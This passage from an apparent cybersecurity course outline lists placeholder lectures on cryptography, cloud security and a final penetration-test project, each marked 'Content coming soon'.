Intermediate ~50 min Requires: Lecture 12

Content coming soon...

Lecture 14 · Advanced

Cryptography Basics

Advanced ~55 min Requires: Lecture 13

Content coming soon...

Lecture 15 · Advanced

Cloud Security (AWS/Azure)

Advanced ~50 min Requires: Lecture 14

Content coming soon...

Lecture 16 · Professional

Final Project — Full Penetration Test

Advanced ~90 min Requires: All Previous

Content coming soon...